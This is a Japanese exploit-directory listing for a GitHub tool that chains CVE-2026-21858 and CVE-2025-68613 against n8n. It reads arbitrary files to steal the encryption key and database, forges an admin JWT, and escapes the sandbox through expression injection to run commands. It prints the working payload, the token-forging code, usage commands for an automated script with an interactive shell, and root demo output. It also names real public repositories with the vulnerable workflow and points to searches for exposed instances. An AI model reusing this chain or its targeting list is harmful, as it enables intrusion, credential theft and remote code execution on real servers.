Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/kaleth4/cve-2026-21858
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証レッドチーミングペイロード開発
GitHubkaleth4/cve-2026-21858

CVE-2026-21858

# n8n向け自動化エクスプロイトチェーン:認証なしの任意ファイル読み取り、管理者トークン偽造、サンドボックス回避によるリモートコード実行を式インジェクション経由で実現

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-21858 + CVE-2025-68613 - n8n フルチェーン

認証なし任意ファイル読み取り → 管理者トークン偽造 → サンドボックス回避 → RCE

n8n における完全な認証なし RCE チェーン:

  1. CVE-2026-21858 - Content-Type 混乱 → 任意ファイル読み取り
  2. 設定とデータベースを読み取り → 管理者 JWT を偽造
  3. CVE-2025-68613 - 式インジェクション → サンドボックス回避 → RCE

検出

この脆弱性はバージョン依存です。曝露の観点では、脆弱な n8n インスタンスが公開されておりアクセス可能です。

LeakIX の結果: 曝露されたインスタンスを表示

なぜこのエクスプロイトなのか?

このエクスプロイトは Cyera の記事 とは独立に開発されました(完成後に発見)。主な違い:

Cyera (オリジナル研究)このエクスプロイト
ファイル読み取りAI ナレッジベースに読み込み → チャットで照会直接 HTTP レスポンス
前提条件チャットワークフロー + AI 統合ファイルアップロード付きの任意のフォーム
RCE 手法「コマンド実行」ノード(デフォルトで無効)式インジェクション(デフォルトインストールで動作)
自動化手動/概念実証完全自動化 Python スクリプト

どちらのアプローチも特定のワークフロー設定が必要です。Cyera はチャット + AI 統合が必要で、このエクスプロイトは Respond ノード付きのフォームが必要です。詳細は 制限事項 を参照してください。

攻撃チェーン

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     認証なし                               │
├───────────────────────────────────────────────────────────┤
│  1. /proc/self/environ を読み取り → HOME ディレクトリを特定 │
│  2. $HOME/.n8n/config を読み取り → encryptionKey を取得    │
│  3. $HOME/.n8n/database.sqlite を読み取り → 管理者資格情報  │
├───────────────────────────────────────────────────────────┤
│                      トークン偽造                          │
├───────────────────────────────────────────────────────────┤
│  4. encryptionKey から JWT シークレットを導出              │
│  5. 管理者セッション Cookie を偽造                         │
├───────────────────────────────────────────────────────────┤
│                    認証済み RCE                            │
├───────────────────────────────────────────────────────────┤
│  6. 式インジェクションを含むワークフローを作成             │
│  7. this.process.mainModule.require によるサンドボックス回避│
│  8. 任意のコマンドを実行                                   │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Content-Type 混乱による任意ファイル読み取り

パッチ

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

伝説の 「Merge commit from fork」 - これを見たら、誰かが何か刺激的なものを見つけたということです。🌶️

根本原因

root@kitploit:~
// 修正前 (脆弱)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// 修正後 (修正済み)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Content-Type: application/json を送信 → filepath を制御 → 任意のファイルを読み取り。

CVE-2025-68613 - 式インジェクション RCE

なぜこの回避なのか?

n8n はユーザーコード(Code ノード、式)を vm2/isolated-vm でサンドボックス化します。他の RCE ベクター:

手法状態
コマンド実行ノードデフォルトで無効 (N8N_ALLOW_EXEC_COMMAND=false)
SSH/HTTP ノードリモートサーバーで実行、n8n ホストでは実行しない
Pyodide サンドボックス回避CVE-2025-68668 - Python Code ノードが必要
式インジェクションCVE-2025-68613 - デフォルトインストールで動作

式インジェクションを使用したのは、デフォルト設定の任意の n8n で動作するためです - 特別なノードや設定は不要です。Pyodide 回避 (CVE-2025-68668) は Python Code ノードが必要で、すべてのインスタンスで利用できるとは限りません。

ペイロード

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

n8n の式は this.process.mainModule.require にアクセスできます → 完全なサンドボックス回避。

トークン偽造

root@kitploit:~
# JWT シークレットの導出
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT ハッシュ
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# トークン偽造
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

ラボ環境のセットアップ

root@kitploit:~
docker compose up -d
# セットアップに約60秒待機
# フォーム: http://localhost:32790/form/vulnerable-form
# 資格情報: [email protected] / ExploitLab123!

使用方法

root@kitploit:~
# 任意のファイルを読み取り
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# コマンド付きフルチェーン
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# 対話型シェル
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

デモ

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n フルチェーン        ║
║     任意ファイル読み取り → トークン偽造 → サンドボックス回避 → RCE ║
╚═══════════════════════════════════════════════════════════════╝

[*] ターゲット: http://localhost:5678/form/vulnerable-form
[*] バージョン: 1.65.0 (脆弱)
[x] HOME ディレクトリ
[+] HOME ディレクトリ: /root
[x] 暗号化キー
[+] 暗号化キー: yusrXZV1...
[x] データベース
[+] データベース: 1327104 バイト
[x] 管理者ユーザー
[+] 管理者ユーザー: [email protected]
[x] トークン偽造
[+] トークン偽造: OK
[x] 管理者アクセス
[+] 管理者アクセス: 許可!
[+] Cookie: n8n-auth=eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

制限事項

これは「任意の n8n を攻略する」エクスプロイトではありません。 動作には特定の条件が必要です:

要件説明
ファイルアップロード付きフォームターゲットにファイルアップロードフィールド付きのフォームワークフローが必要
Respond to Webhook ノードワークフローが HTTP レスポンスでファイル内容を返す必要がある
ワークフローが有効フォームワークフローがアクティブ化されている必要がある
認証なしアクセスフォームが公開アクセス可能である必要がある(認証なし)

脆弱なワークフロー設定の例:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

重要な要素は: fieldType: "file" + respondWith: "binary" です。このパターンはファイル処理ワークフロー(コンバーター、画像リサイザー、ドキュメントプロセッサー)で一般的です。

動作するもの:

  • バイナリを返す Respond ノード付きフォーム(ファイルコンバーター、プロセッサー)
  • デフォルトの n8n インストール(式インジェクションがブロックされていない)
  • ローカル/Docker デプロイメント(データベースと設定がディスクに保存される)

動作しないもの:

  • Respond ノードなしのフォーム(ファイルは読み取られるが、HTTP レスポンスで内容が返されない)
  • 認証が必要なフォーム
  • n8n Cloud(アーキテクチャが異なり、ローカルファイルアクセス不可)
  • パッチ適用済みバージョン (>= 1.121.0)

注記: 脆弱性(任意ファイル読み取り)は、データ流出方法に関係なくトリガーされます。Respond ノードは内容を取得する 1 つの方法にすぎません。代替方法(OOB、他の出力ノード)はワークフロー設定によっては動作する可能性があります。

ブラインドエクスプロイト: Respond ノードが存在しない場合、ファイルは n8n によって読み取られますが、HTTP レスポンス経由でデータ流出させることはできません。代替手法(OOB、タイミング)が必要になります。

実世界の例

脆弱なパターン(Form Trigger + ファイルアップロード + Respond to Webhook)は公開 GitHub リポジトリに存在します。

注記: 人気のある n8n ワークフローリポジトリ(>100⭐)はこのパターンを使用していません。これらはコミュニティ/個人プロジェクトです:

ワークフローファイルファイルフィールドrespondWith
ifcpipeline/.../ifcpipeline.jsonIDS、IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.json画像、音声、Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonドキュメント(PDF)text
ai_resume_project/resume_rag.jsonファイルアップロードallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.json音声ファイルtext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonfiletext
voltixLandingPage/.../chatbotvoltix.jsonファイルアップロードデフォルト
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonfileデフォルト
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonドキュメントをアップロードデフォルト
learn_earn_ai_insta/.../My workflow.jsonファイルをアップロードデフォルト
finintworkshop/.../API using n8n (ToT).json

これらはコミュニティ提供のワークフローです。公式の n8n.io テンプレートでこの脆弱なパターンを使用しているものはありません。

参考情報

  • Vulhub 環境 - Vulhub で利用可能なすぐ使えるラボ
  • Cyera Research - Ni8mare 完全レポート - Dor Attias によるオリジナル研究
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Nuclei テンプレート CVE-2025-68613
  • LeakIX 検索結果 - 曝露された脆弱なインスタンス
  • Formidable - 「曲ではなくライブラリ」(笑わせてくれた Cyera に感謝)
ツールをダウンロード
file
json